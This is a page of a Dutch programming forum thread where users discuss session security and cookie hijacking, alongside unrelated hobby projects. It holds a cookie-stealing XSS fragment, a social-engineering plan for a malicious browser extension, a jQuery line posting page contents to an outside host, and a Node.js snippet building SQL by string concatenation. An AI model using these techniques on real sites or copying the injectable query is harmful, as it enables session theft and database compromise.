Het Wat heb jij vandaag geprogrammeerd? topic

Gestart doorAarclay4.538 reacties23.755 weergaven

4.539 berichten · pagina 216 van 303

Berichten
4.214
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Sevvlor schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Lennard schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Antonn schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Dionc schreef:
Waarom sla je de gebruikersnaam op in een session?
Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig wink
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Cookies worden niet meegestuurd naar externe afbeeldingen op een website.
Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();
Dan moet je wel een XSS lek hebben.
Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.
Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.

En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd. clown
Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.
Verklaar je nader?
Vanuit de extensie zelf requests doen.
0
Berichten
4.912
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Sevvlor schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Lennard schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Antonn schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Dionc schreef:
Waarom sla je de gebruikersnaam op in een session?
Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig wink
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Cookies worden niet meegestuurd naar externe afbeeldingen op een website.
Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();
Dan moet je wel een XSS lek hebben.
Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.
Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.

En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd. clown
Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.
Verklaar je nader?
$.post("http://www.tfoe.com/", { data : document.getElementsByTagName(html)[0].innerHTML });
0
Berichten
3.334
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Smiegles schreef:
Eerdere citaten tonen
Sevvlor schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Lennard schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Antonn schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Dionc schreef:
Waarom sla je de gebruikersnaam op in een session?
Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig wink
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Cookies worden niet meegestuurd naar externe afbeeldingen op een website.
Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();
Dan moet je wel een XSS lek hebben.
Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.
Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.

En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd. clown
Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.
Verklaar je nader?
$.post("http://www.tfoe.com/", { data : document.getElementsByTagName(html)[0].innerHTML });
Hoe zou jij dit probleem dan oplossen?
0
Berichten
93.699
Reputatie
0
Punten
1,27
Lid sinds
Laatst gezien
Afbeelding
0
Berichten
35.796
Reputatie
1
Punten
0,00
Lid sinds
Laatst gezien
Smiegles schreef:
Eerdere citaten tonen
Sevvlor schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Lennard schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Antonn schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Dionc schreef:
Waarom sla je de gebruikersnaam op in een session?
Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig wink
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Cookies worden niet meegestuurd naar externe afbeeldingen op een website.
Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();
Dan moet je wel een XSS lek hebben.
Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.
Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.

En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd. clown
Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.
Verklaar je nader?
$.post("http://www.tfoe.com/", { data : document.getElementsByTagName(html)[0].innerHTML });
Ja, dus dan voorkom je het toch door geen extensies te installeren?
0
Berichten
18.482
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Raaoul schreef:
Tinkers Construct? yummieOf hoe moet ik het zien?
0
Berichten
4.912
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Robiin schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Sevvlor schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Lennard schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Antonn schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Dionc schreef:
Waarom sla je de gebruikersnaam op in een session?
Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig wink
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Cookies worden niet meegestuurd naar externe afbeeldingen op een website.
Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();
Dan moet je wel een XSS lek hebben.
Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.
Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.

En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd. clown
Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.
Verklaar je nader?
$.post("http://www.tfoe.com/", { data : document.getElementsByTagName(html)[0].innerHTML });
Hoe zou jij dit probleem dan oplossen?
Niet, als mensen zo dom zijn om zon extensie te installeren is het hun eigen probleem.
0
Berichten
93.699
Reputatie
0
Punten
1,27
Lid sinds
Laatst gezien
Luukvdo schreef:
Eerdere citaten tonen
Raaoul schreef:
Tinkers Construct? yummieOf hoe moet ik het zien?
Tinkers Construct clone ja xD Beetje bij beetje Forge leren yummiecode is nu ook openbaar: https://github.com/rvandenberge/BetterTools/
0
Berichten
3.334
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Smiegles schreef:
Eerdere citaten tonen
Robiin schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Sevvlor schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Lennard schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Smiegles schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Antonn schreef:
Eerdere citaten tonen
Xjessex schreef:
Eerdere citaten tonen
Dionc schreef:
Waarom sla je de gebruikersnaam op in een session?
Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig wink
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Cookies worden niet meegestuurd naar externe afbeeldingen op een website.
Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();
Dan moet je wel een XSS lek hebben.
Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.
Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.

En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd. clown
Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.
Verklaar je nader?
$.post("http://www.tfoe.com/", { data : document.getElementsByTagName(html)[0].innerHTML });
Hoe zou jij dit probleem dan oplossen?
Niet, als mensen zo dom zijn om zon extensie te installeren is het hun eigen probleem.
Juist. Maar dat image verhaal van Xjessex? Dan is een UserAgent en IP controle toch voldoende?

toevoeging op 10 mei 2014, 16:34:52:
En als ik inlog, blijf ik zo een half jaar zo in gelogd met dezelfde sessie cookies. Is dat dan nog wel veilig?
0
Berichten
93.699
Reputatie
0
Punten
1,27
Lid sinds
Laatst gezien
Je moet ook een expire date op je token zetten.

Hoe ik het doe voor user auth:
Eenmaal ingelogd word er een usertoken (random md5 hash) geplaatst in de database. Vervolgens word dat ingesteld met een cookie. De usertoken is maar voor een bepaalde duur geldig en werkt enkel op 1 IP en 1 browser. Het is gebonden aan de user-id. Je kunt dit uitbreiden door bv. de mogelijkheid te geven om langer ingelogd te zijn (dus de expire date iets hoger te zetten van je token en cookie.)
0
Berichten
5.957
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Dylanh schreef:
Tips:
- Gebruik geen globals, doe ofwel een constructor ofwel een closure (ietsjes moeilijker)
- Gebruik oop i.p.v. functies
- Ik zou voor een requestanimaationframe gaan
0
Berichten
2.112
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
NOC script waarmee uptime/downtime op een website word gepost van servers.
Met twitter feed die twitter meldingen maakt van: welke server down is, hoelang die down was
En dat die online is gekomen.
0
Berichten
35.796
Reputatie
1
Punten
0,00
Lid sinds
Laatst gezien
Een node.js dingetje waarbij een willekeurige bezoeker op een knopje kan drukken, en er dan naar alle bezoekers een berichtje wordt gestuurd.

Stelt weinig voor, maar ik snap nu tenminste wel hoe socket.io enzo ongeveer werkt. biggrin
toevoeging op 11 mei 2014, 15:27:47:
nu maar eens uitzoeken hoe ik authenticatie via dat ga doen emo
0
Berichten
93.699
Reputatie
0
Punten
1,27
Lid sinds
Laatst gezien
Lennard schreef:
Een node.js dingetje waarbij een willekeurige bezoeker op een knopje kan drukken, en er dan naar alle bezoekers een berichtje wordt gestuurd.

Stelt weinig voor, maar ik snap nu tenminste wel hoe socket.io enzo ongeveer werkt. biggrin
toevoeging op 11 mei 2014, 15:27:47:
nu maar eens uitzoeken hoe ik authenticatie via dat ga doen emo
1) Gebruik primus.io, qua gebruik bijna hetzelfde, alleen qua performance is het veel beter.
2) Authenticatie kan door een sessionstore op te zetten, ik heb het als volgt:
Spoiler tonen
var sessionStore = new MySQLSessionStore( * hier je database gegevens *);

global.sessionStore = sessionStore;

app.use(express.session({
    secret: * hier een secret token *,
    store: sessionStore
}));


// Het stukje binnen socket.io (of primus.io, wat verder gewoon hetzelfde is)

global.sessionStore.get(sessionId, function(err,user) {
            mysql.query(SELECT username FROM users WHERE id =  + user.passport.user.id, function(err, rows) {
                // Username: rows[0].username
            });
        });
sessionStore is dan een global met je sessie storage erin
Dit stukje:
global.sessionStore.get(sessionId, function(...
daar is sessionId een var die je van de client naar de server stuurt.

Als je passport.js gebruikt, dan staat je sessie in req.user.sessionId (geloof ik), als je req.user naar de client stuurt (via views) en dan bij het connecten een functie van de client naar de server stuurt, bijvoorbeeld socket.send(authenticate) en daar als parameter (req.)user.sessionId meegeeft dan kan je username in socket.io ophalen.
Kan je eventueel opslaan door `socket.user = rows[0]` dan heb je een array in socket.user met de rijen die je terug krijgt uit de database.

Hoop dat je er wat aan hebt biggrin
0

Jouw reactie

Deel je idee, stel een vraag of help een ander verder.

Editor laden…

Praat mee met de One2xs-community.

Inloggen om te reageren